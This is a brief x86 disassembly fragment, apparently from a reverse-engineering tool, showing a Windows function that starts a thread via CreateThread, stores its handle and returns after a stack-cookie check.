lea eax, [ebp - 8]
push eax
push 0
push esi
push 0x41d9f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x10], eax
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0047fe8c
mov esp, ebp
pop ebp
ret